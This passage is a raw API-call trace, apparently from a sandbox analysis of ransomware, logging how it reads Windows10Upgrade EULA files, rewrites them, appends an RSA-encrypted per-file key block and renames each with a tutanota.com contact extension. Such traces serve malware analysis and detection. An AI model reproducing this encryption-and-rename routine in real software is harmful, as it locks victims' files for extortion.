hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x14a5a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14a5a, lpOverlapped=0x0) returned 1 [0157.658] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.658] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.658] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14a5a [0157.658] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.658] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.659] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.659] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.659] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.659] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.659] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="P75OaFRTSsnwws+9t3Y/4z4k4693X2oIMLjC79fMK43mTHvebLNgG699+YMwkhtr\ndcOAvs1vMY0wb30sAvBGJ1otlUIOxkd3nmT/8o7BKWNdTaQIB3j0p4cmo41gSXfD\ncU/QYnu6kBeH/NvYM/dH0hMlnXlXxOpQisIxl82H7IrhGIvEO3TCcUtJ1sLmWKv2\n7cobOqKGDm1E3TCnMzb7VJFspNDjli9NzOnggmmhml4U426jg66aOw94bRXj63MY\nNIkhwEX/4hqRKHs4T5vbtd25yP4BJ+EvLomQ/Zs5WibYNmTh4u34osEJ1+rrwTij\nvgqqgJ6easGWR/osO1RKrQ==\n", pcchString=0x2e3f9a8) returned 1 [0157.659] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.659] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.660] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.660] CloseHandle (hObject=0x6e8) returned 1 [0157.660] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.660] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.662] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0157.662] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0157.662] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653c28 | out: hHeap=0x570000) returned 1 [0157.662] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654150 | out: hHeap=0x570000) returned 1 [0157.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653fe8 [0157.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc968 [0157.662] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.662] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm", dwFileAttributes=0x80) returned 1 [0157.663] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654498 [0157.663] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0157.663] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654498 | out: hHeap=0x570000) returned 1 [0157.663] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.663] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=64872) returned 1 [0157.663] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfd68) returned 0x6548b8 [0157.663] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfd68) returned 0x2e60f28 [0157.663] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0xfd68, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xfd68, lpOverlapped=0x0) returned 1 [0157.682] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-64872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.683] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0xfd68, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfd68, lpOverlapped=0x0) returned 1 [0157.683] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.683] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.683] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfd68 [0157.683] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.683] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.683] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.684] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.684] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.684] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.684] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="3mm/WQo44m0utYLR3Q73KqMvCoTnfSvtLvIxQ6G8N2rxmCDwt/9aKCvpYWRnwrTW\nKHVm09gDg4ygb8MK3w4pAqdZVlgONT+HP9rw/1VxR+UJjdaGdPlaIIPkWFOQ0Sz4\ns2zuh36q8L/ZKF2ZbRNNBPn3OTyfPUb326kf3ESgDZSQuNtHzo2r7jkhrQ17gCUy\nIsKCjdwvB8hYe+jcPDl2HdaMnP8IOU/S/B3rkKYBPaeY7eP46Anazzl4bLWq+cXG\nB8AK+Qxs2qhVj9cvsZ4uCoIMsiEspQuIEwYGEGVV8XuBDUAWwIz9RjqSAUKU6nd0\nV0BJGm7OQ/JfF0Ca7ruEYA==\n", pcchString=0x2e3f9a8) returned 1 [0157.684] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.684] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.684] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.684] CloseHandle (hObject=0x6e8) returned 1 [0157.685] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.685] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.686] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0157.686] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc968 | out: hHeap=0x570000) returned 1 [0157.686] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653fe8 | out: hHeap=0x570000) returned 1 [0157.686] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653f70 | out: hHeap=0x570000) returned 1 [0157.686] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654150 [0157.686] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0157.686] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.686] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm", dwFileAttributes=0x80) returned 1 [0157.687] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653e08 [0157.687] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0980 [0157.687] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653e08 | out: hHeap=0x570000) returned 1 [0157.687] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.687] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=864647) returned 1 [0157.687] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd3187) returned 0x673020 [0157.688] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd3187) returned 0x314f020 [0157.688] ReadFile (in: hFile=0x6e8, lpBuffer=0x673020, nNumberOfBytesToRead=0xd3187, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x673020*, lpNumberOfBytesRead=0x2e3f9b4*=0xd3187, lpOverlapped=0x0) returned 1 [0157.749] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-864647, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.749] WriteFile (in: hFile=0x6e8, lpBuffer=0x314f020*, nNumberOfBytesToWrite=0xd3187, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314f020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd3187, lpOverlapped=0x0) returned 1 [0157.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x673020 | out: hHeap=0x570000) returned 1 [0157.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x314f020 | out: hHeap=0x570000) returned 1 [0157.751] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd3187 [0157.751] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.752] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.752] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.752] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.752] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.752] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Z3uYxHPSezXtxgQqK1SDr+sz6b2pQ7NMqUpujn+tHv1CbldyOp0Be6kExRVPo3eh\nj4hvYnpMAztL6qI3kVHXsc1NTZVUPYslFdfQ+CGloWtrhRInkbJ6IZ3ChUWh/OOy\nnlBQU+x8kUo4yuMuF08Mc33pX+6hHo4ArY4lffKwrI0SO2oS0CQBN11NrIbaczog\n2nUIGsXfb3Aj1i31koo3HL/UzM6mC4suwuGd0136RmYyTcR/AaaWtCJy9r3I7PWf\nyVUHjUANxkNR53exA3pee1qzPSXReqn2Ib2v6l7W6JnNF+hZxCcnZDN5UUBKGXu3\n9EFvVkH2W+gQj7D+KJ/Nnw==\n", pcchString=0x2e3f9a8) returned 1 [0157.752] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.752] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.752] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.752] CloseHandle (hObject=0x6e8) returned 1 [0157.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.752] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0157.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0157.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654150 | out: hHeap=0x570000) returned 1 [0157.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6539d0 | out: hHeap=0x570000) returned 1 [0157.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654150 [0157.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0157.756] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.756] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm", dwFileAttributes=0x80) returned 1 [0157.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654420 [0157.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0157.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654420 | out: hHeap=0x570000) returned 1 [0157.757] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.757] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69386) returned 1 [0157.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10f0a) returned 0x6548b8 [0157.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10f0a) returned 0x2e60f28 [0157.758] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x10f0a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x10f0a, lpOverlapped=0x0) returned 1 [0157.776] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-69386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.776] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x10f0a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10f0a, lpOverlapped=0x0) returned 1 [0157.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.776] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10f0a [0157.776] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.776] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.777] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.777] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.777] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.777] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.777] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="XoiSQL1t1h7dUHDW9z9ET1FgguIOROo2emhz/jdoojI1o+9LBVz71qu+Usy2sYPs\ns7FevRkLKOArRyDA0p2fC3aIvlKcU/eW7KJH2oGtgpMe5zIrSWYyXvd8LqkSnJtV\nLO81GkdSnC57Mm29WKCsbHSVSDgHBWIn76XEYiYzMS3x+NfiLFgd2vwFU+Yr3Xfh\n/kgZEHEbgGNO8cDoH1HEqn3OPYL6+EBJY5l6Qd23T5QPmCikcFTXppAAp02XoWlX\nXfKMe47ia0kh97h/CrshrZ2KIYSHpFDdUtZjWSYgZj53DgVf1BVZBFILqkwft7FT\ncEZUUuO+PE9fcozNI8cdtw==\n", pcchString=0x2e3f9a8) returned 1 [0157.777] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.777] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.777] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.778] CloseHandle (hObject=0x6e8) returned 1 [0157.778] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.778] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0157.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0157.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654150 | out: hHeap=0x570000) returned 1 [0157.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6540d8 | out: hHeap=0x570000) returned 1 [0157.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653bb0 [0157.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0157.780] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.780] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm", dwFileAttributes=0x80) returned 1 [0157.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653f70 [0157.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0157.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653f70 | out: hHeap=0x570000) returned 1 [0157.780] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.780] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69386) returned 1 [0157.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10f0a) returned 0x6548b8 [0157.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10f0a) returned 0x2e60f28 [0157.780] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x10f0a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x10f0a, lpOverlapped=0x0) returned 1 [0157.788] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-69386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.788] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x10f0a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10f0a, lpOverlapped=0x0) returned 1 [0157.789] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.789] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.789] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10f0a [0157.789] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.789] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.789] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.789] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.789] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, 